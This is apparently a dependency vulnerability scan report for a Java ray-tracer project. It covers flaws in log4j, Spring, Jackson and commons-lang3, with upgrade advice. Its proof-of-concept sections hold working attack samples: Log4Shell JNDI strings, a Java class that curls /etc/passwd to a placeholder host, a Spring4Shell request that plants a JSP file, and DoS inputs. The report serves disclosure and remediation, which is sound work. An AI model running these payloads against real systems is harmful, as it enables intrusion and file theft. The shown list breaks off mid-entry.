Vulnerabilities

37 via 101 paths

Dependencies

31

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Severity
  • 5
  • 11
  • 17
  • 4
Status
  • 37
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.15.0.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

PoC

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

  • Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
  • Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)


Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.springframework:spring-beans
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.20.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.20.RELEASE.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via manipulation of ClassLoader that is achievable with a POST HTTP request. This could allow an attacker to execute a webshell on a victim's application (TomCat), or download arbitrary files from the server (Payara/Glassfish).

Note:

  • Current public exploits require victim applications to be built with JRE version 9 (or above) and to be deployed on either Tomcat, Payara, or Glassfish.

  • However, we have confirmed that it is technically possible for additional exploits to work under additional application configurations as well.

  • As such, while we recommend users prioritize first remediating against the configuration described above, for full protection, we also recommend upgrading all vulnerable versions to the fixed spring-beans version regardless of the application configuration.

Update Log

  • 31/03/2022 - Severity was raised from 8.1 to 9.8
  • 08/04/2022 - Advisory was updated to reflect that Snyk's security research team was able to author a working PoC of this vulnerability against applications that are deployed on Payara (which is based on Glassfish).

PoC

1/ docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
2/ ./mvnw install
3/ docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4/ curl -X POST \
  -H "pre:<%" \
  -H "post:;%>" \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
  -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
  http://localhost:8888/handling-form-submission-complete/greeting
5/ curl http://localhost:8888/handling-form-submission-complete/rce.jsp

Remediation

Upgrade org.springframework:spring-beans to version 5.2.20, 5.3.18 or higher.

References

critical severity
new

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.8.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the DatabindContext._resolveAndValidateGeneric() method, which validates only the raw container class of a type identifier against the configured PolymorphicTypeValidator and not its nested generic type arguments. An attacker who controls the type identifier can instantiate a denied class, and reach unauthenticated remote code execution through an available gadget, by embedding that class as a generic parameter of an allowlisted container such as java.util.ArrayList<com.evil.Gadget>, which passes validation while the nested type is loaded, instantiated, and populated with attacker-controlled values. Exploitation requires polymorphic type validation to be enabled with a configured validator, the application to deserialize untrusted JSON, and a suitable gadget class on the classpath.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4 or higher.

References

critical severity
new

Incomplete List of Disallowed Inputs

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.8.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() method, which allowlists an array based only on clazz.isArray() and does not validate the array's component type. An attacker who controls the deserialized JSON can instantiate types outside the configured allowlist by wrapping them in an array, because array elements without per-element type identifiers are constructed directly with no further validator check.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4 or higher.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.16.0.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

  1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
  2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
  3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: org.apache.commons:commons-lang3
  • Introduced through: org.apache.commons:commons-lang3@3.9

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.commons:commons-lang3@3.9
    Remediation: Upgrade to org.apache.commons:commons-lang3@3.18.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

Upgrade org.apache.commons:commons-lang3 to version 3.18.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.5.1 and com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-core@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.6.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1 com.fasterxml.jackson.core:jackson-core@2.10.5
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.6.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.5.1 and com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-core@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.7.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1 com.fasterxml.jackson.core:jackson-core@2.10.5
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.7.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.5.1 and com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-core@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1 com.fasterxml.jackson.core:jackson-core@2.10.5
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.5.1 and com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-core@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1 com.fasterxml.jackson.core:jackson-core@2.10.5
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Incorrect Authorization

  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.11.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.11.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.11.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.11.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.11.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-expression@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE org.springframework:spring-core@5.2.0.RELEASE

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Incorrect Authorization via the AnnotationsScanner and AnnotatedMethod class. An attacker can gain unauthorized access to sensitive information by exploiting improper resolution of annotations on methods within type hierarchies that use parameterized supertypes with unbounded generics.

Note: This is only exploitable if security annotations are used on methods in generic superclasses or generic interfaces and the @EnableMethodSecurity feature is enabled.

Remediation

Upgrade org.springframework:spring-core to version 6.2.11 or higher.

References

high severity

Relative Path Traversal

  • Vulnerable module: org.springframework:spring-beans
  • Introduced through: org.springframework:spring-context@5.2.0.RELEASE and com.gluonhq:ignite-spring@1.0.2

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.10.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.2.10.
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE
  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.gluonhq:ignite-spring@1.0.2 org.springframework:spring-context@5.2.0.RELEASE org.springframework:spring-aop@5.2.0.RELEASE org.springframework:spring-beans@5.2.0.RELEASE

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Relative Path Traversal when deployed on non-compliant Servlet containers. An unauthenticated attacker could gain access to files and directories outside the intended web root.

Notes:

  1. This is only exploitable if the application is deployed as a WAR or with an embedded Servlet container, the Servlet container does not reject suspicious sequences and the application serves static resources with Spring resource handling.

  2. Applications deployed on Apache Tomcat or Eclipse Jetty are not vulnerable, as long as default security features are not disabled in the configuration.

  3. This vulnerability was also fixed in the commercial versions 6.1.22 and 5.3.44.

Remediation

Upgrade org.springframework:spring-beans to version 6.2.10 or higher.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.25.4.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the XmlLayout plugin. An attacker can cause log events to be silently lost or malformed by injecting XML 1.0 forbidden characters into log messages or MDC values. This may result in malformed XML output, which can cause downstream log-processing systems to drop affected records or prevent log events from being delivered to their intended destinations.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Improper Encoding or Escaping of Output

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.25.4.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the Log4j1XmlLayout plugin. An attacker can cause log events to be silently lost or downstream log processing systems to drop or fail to index affected records by introducing XML 1.0 forbidden characters into log messages, resulting in malformed XML output that conforming XML parsers reject with a fatal error.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer com.fasterxml.jackson.core:jackson-databind@2.10.5.1
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.6.1, 2.13.2.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.13.3

Detailed paths

  • Introduced through: Stingray42/ray-tracer@Stingray42/ray-tracer org.apache.logging.log4j:log4j-core@2.13.3
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.17.0.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

References

medium severity
new

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.10.5.1

Detailed paths

